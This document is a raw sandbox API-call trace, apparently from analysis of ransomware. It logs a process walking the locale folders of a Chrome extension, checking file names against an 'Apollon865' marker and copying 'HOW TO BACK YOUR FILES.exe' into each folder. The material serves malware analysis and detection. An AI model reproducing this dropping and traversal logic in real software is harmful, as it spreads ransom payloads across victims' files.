	[0048.267] lstrcpyW (in: lpString1=0x2d3e674, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.267] lstrlenW (lpString="messages.json") returned 13
	[0048.267] lstrlenW (lpString="Apollon865") returned 10
	[0048.267] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.267] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es"
	[0048.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a7850 | out: hHeap=0x580000) returned 1
	[0048.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe88 | out: hHeap=0x580000) returned 1
	[0048.267] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es") returned 141
	[0048.267] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es"
	[0048.267] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.267] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.288] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.288] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826e9470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34db3390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34db3390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.288] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.288] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.289] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.289] lstrlenW (lpString="messages.json") returned 13
	[0048.289] lstrlenW (lpString="Apollon865") returned 10
	[0048.289] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.289] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB"
	[0048.289] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ada78 | out: hHeap=0x580000) returned 1
	[0048.289] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe68 | out: hHeap=0x580000) returned 1
	[0048.289] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB") returned 144
	[0048.289] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB"
	[0048.289] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.289] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.293] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.293] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826d8300, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34db3390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34db3390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.293] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.293] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.293] lstrcpyW (in: lpString1=0x2d3e672, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.293] lstrlenW (lpString="messages.json") returned 13
	[0048.293] lstrlenW (lpString="Apollon865") returned 10
	[0048.293] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.293] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en"
	[0048.293] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a7728 | out: hHeap=0x580000) returned 1
	[0048.293] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0048.293] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en") returned 141
	[0048.293] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en"
	[0048.293] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.293] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.298] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.298] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ce6c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34db3390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34db3390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.298] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.298] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.298] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.298] lstrlenW (lpString="messages.json") returned 13
	[0048.298] lstrlenW (lpString="Apollon865") returned 10
	[0048.298] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.298] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el"
	[0048.298] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a7600 | out: hHeap=0x580000) returned 1
	[0048.298] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0048.298] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el") returned 141
	[0048.298] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el"
	[0048.298] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.299] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.311] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.312] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826c2370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34dd94f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34dd94f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.312] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.312] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.312] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.312] lstrlenW (lpString="messages.json") returned 13
	[0048.312] lstrlenW (lpString="Apollon865") returned 10
	[0048.312] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.312] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de"
	[0048.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a74d8 | out: hHeap=0x580000) returned 1
	[0048.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0048.312] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de") returned 141
	[0048.312] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de"
	[0048.312] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.312] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.319] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.319] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34dff650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34dff650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.319] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.319] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.319] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.319] lstrlenW (lpString="messages.json") returned 13
	[0048.319] lstrlenW (lpString="Apollon865") returned 10
	[0048.319] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.320] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da"
	[0048.320] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a73b0 | out: hHeap=0x580000) returned 1
	[0048.320] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0048.320] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da") returned 141
	[0048.320] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da"
	[0048.320] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.320] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.323] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.323] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ac3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34dff650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34dff650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.324] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.324] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.324] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.324] lstrlenW (lpString="messages.json") returned 13
	[0048.324] lstrlenW (lpString="Apollon865") returned 10
	[0048.324] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.324] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs"
	[0048.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a498 | out: hHeap=0x580000) returned 1
	[0048.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0048.324] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs") returned 141
	[0048.324] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs"
	[0048.324] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.324] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.329] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.329] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826a0090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34dff650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34dff650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
